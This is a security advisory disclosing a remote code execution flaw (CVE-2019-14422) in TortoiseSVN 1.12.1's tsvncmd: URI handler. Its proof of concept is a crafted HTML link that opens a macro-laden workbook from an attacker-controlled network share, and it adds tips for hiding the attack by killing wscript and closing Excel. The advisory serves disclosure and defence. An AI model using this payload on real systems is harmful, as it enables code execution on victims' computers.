Document Title:
===============
TortoiseSVN v1.12.1 - Remote Code Execution Vulnerability


References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2188

Product:
https://osdn.net/projects/tortoisesvn/storage/1.12.1/Application/TortoiseSVN-1.12.1.28628-x64-svn-1.12.2.msi/

Ticket: https://groups.google.com/forum/#!forum/tortoisesvn

http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2019-14422

CVE-ID:
=======
CVE-2019-14422


Release Date:
=============
2019-08-13


Vulnerability Laboratory ID (VL-ID):
====================================
2188


Common Vulnerability Scoring System:
====================================
8.8


Vulnerability Class:
====================
Code Execution


Current Estimated Price:
========================
4.000€ - 5.000€


Product & Service Introduction:
===============================
TortoiseSVN is a really easy to use Revision control / version control /
source control software for Windows.
It is based on Apache Subversion (SVN); TortoiseSVN provides a nice and
easy user interface for Subversion.
It is developed under the GPL. Which means it is completely free for
anyone to use, including in a commercial
environment, without any restriction. The source code is also freely
available, so you can even develop your
own version if you wish to. Since it's not an integration for a specific
IDE like Visual Studio, Eclipse or
others, you can use it with whatever development tools you like, and
with any type of file.

(Copy of the about page: https://tortoisesvn.net/about.html )


Abstract Advisory Information:
==============================
A vulnerability laboratory researcher (vxrl team) discovered a remote
code execution vulnerability in the TortoiseSVN v1.12.1 software.


Vulnerability Disclosure Timeline:
==================================
2019-08-13: Public Disclosure (Vulnerability Laboratory)

Affected Product(s):
====================
TortoiseSVN
Product: TortoiseSVN - Software 1.12.1


Discovery Status:
=================
Published


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Authentication Type:
====================
Pre auth - no privileges


User Interaction:
=================
Low User Interaction


Disclosure Type:
================
Independent Security Research


Technical Details & Description:
================================
A remote code execution vulnerability has been uncovered in the official
TortoiseSVN v1.12.1 software.
The vulnerability typ allows remote attackers to execute arbitrary codes
to compromise a target computer system.

The URI handler of TortoiseSVN (Tsvncmd:) allows a customised diff
operation on Excel workbooks, which could be used to open remote
workbooks without protection from macro security settings to execute
arbitrary code.

The `tsvncmd:command:diff?path:[file1]?path2:[file2]` will execute a
customised diff on [file1] and [file2] based on the file extension.
For xls files, it will execute the script `diff-xls.js` using wscript,
which will open the two files for analysis without any macro
security warning. An attacker can exploit this by putting a macro virus
in a network drive, and force the victim to open the workbooks
and execute the macro inside. Since the macro is triggered through
wscript, to make the attack less visible, one could kill the wscript
process and quit the excel program after the code was executed.


Proof of Concept (PoC):
=======================
The vulnerability could be triggered by visiting a specially crafted URL
via web browser.
To reproduce the vulnerability, one could simply create a .url file or
open the URL with a browsers,
but a notification prompt may be shown for the latter case.

<a
href='tsvncmd:command:diff?path:VBoxSvrvv.xlsm?path2:VBoxSvrvw.xlsx'>Checkout
the Repo with TortoiseSVN</a>

where VBoxSvrv is the remote network drive controlled by the attacker,
v.xlsm is the macro virus and w.xlsx is just an empty excel workbook.

Sources: https://www.vulnerability-lab.com/resources/documents/2188.rar
Password: 23vxrl23

PoC: Video
https://www.youtube.com/watch?v=spvRSC377vI


Security Risk:
==============
The security risk of the remote code execution vulnerability in the
software component is estimated as high.


Credits & Authors:
==================
PingFanZettaKe [VXRL Team] -
https://www.vulnerability-lab.com/show.php?user=PingFanZettaKe


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without
any warranty. Vulnerability Lab disclaims all warranties,
either expressed or implied, including the warranties of merchantability
and capability for a particular purpose. Vulnerability-Lab
or its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits
or special damages, even if Vulnerability-Lab or its suppliers have been
advised of the possibility of such damages. Some states do
not allow the exclusion or limitation of liability for consequential or
incidental damages so the foregoing limitation may not apply.
We do not approve or encourage anybody to break any licenses, policies,
deface websites, hack into databases or trade with stolen data.

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